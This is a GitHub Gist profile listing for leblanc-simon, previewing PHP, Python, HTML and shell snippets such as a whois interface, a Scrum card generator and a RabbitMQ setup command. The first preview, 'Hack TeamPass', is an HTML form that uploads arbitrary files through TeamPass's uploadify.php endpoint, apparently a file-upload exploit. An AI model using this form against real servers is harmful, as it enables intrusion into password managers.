Skip to content

Instantly share code, notes, and snippets.

<html>
<head>
<title>Hack TeamPass</title>
</head>
<body>
<form action="http://teampass/includes/libraries/uploadify/uploadify.php" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<input type="hidden" name="type_upload" value="import_items_from_csv" />
<input type="hidden" name="folder" value="/files" />
<input type="submit">
@leblanc-simon
leblanc-simon / whois.php
Last active April 6, 2020 13:01
Simple Whois web interface
<?php
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
function removeNotice($whois)
{
return str_replace('NOTICE: The expiration date displayed in this record is the date the
registrar\'s sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant\'s agreement with the sponsoring
@leblanc-simon
leblanc-simon / ParsedownCheckbox.php
Created May 29, 2019 23:19
avoid double encoding with line
<?php
class ParsedownCheckbox extends ParsedownExtra
{
protected function checkboxUnchecked($text)
{
if ($this->markupEscaped || $this->safeMode) {
$text = self::escape($text);
// Disable escape to convert data with line (avoid double encoding)
@leblanc-simon
leblanc-simon / bzr-merge.py
Last active May 25, 2019 22:21
Bazaar merge utils
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
from datetime import date
import argparse
import ConfigParser
class CommandPrepare:
@leblanc-simon
leblanc-simon / cards.html
Created January 16, 2019 13:20 — forked from romain-huyvaert/cards.html
Génération de tickets pour les scénarii Scrum
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8"/>
<title>Génération de tickets pour les scénarii Scrum</title>
<!--
Copyright © 2016 Simon Leblanc <contact@leblanc-simon.eu>
This work is free. You can redistribute it and/or modify it under the
terms of the Do What The Fuck You Want To Public License, Version 2,
as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
@leblanc-simon
leblanc-simon / cards.html
Created November 14, 2016 00:04
Génération de tickets pour les scénarii Scrum
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8"/>
<title>Génération de tickets pour les scénarii Scrum</title>
<!--
Copyright © 2016 Simon Leblanc <contact@leblanc-simon.eu>
This work is free. You can redistribute it and/or modify it under the
terms of the Do What The Fuck You Want To Public License, Version 2,
as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
@leblanc-simon
leblanc-simon / optimisation_decoupes.php
Created November 23, 2018 00:47
Gestion des fichiers pour le calcul et l'optimisation des découpes de morceaux de bois
<?php
function buildDxf($original_datas) {
$template = ' 0
SECTION
2
HEADER
9
$ACADVER
1
@leblanc-simon
leblanc-simon / publish_mattermost.py
Created July 24, 2018 01:40
Publish a mattermost message from email
# -*- coding: utf-8 -*-
from email.parser import Parser
from email.header import decode_header
import json
import pyinotify
import requests
from StringIO import StringIO
import sys
import tempfile
@leblanc-simon
leblanc-simon / InitRabbitmqCommand.php
Created May 20, 2018 16:05
A symfony command which allow to create all configuration in RabbitMQ according to old_sound_rabbit_mq configuration
<?php
namespace AppBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\AbstractConfigCommand;
use Symfony\Component\Config\Definition\Processor;
use Symfony\Component\Console\Exception\LogicException;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
@leblanc-simon
leblanc-simon / prepare_vich.sh
Created April 7, 2018 21:18
Install and conifgure Vich with LiipImagine
#!/bin/bash
# Install Symfony 3.4
symfony new vich lts
# Go to the directory
cd vich
# Remove the parameters.yml to populate with good value
rm app/config/parameters.yml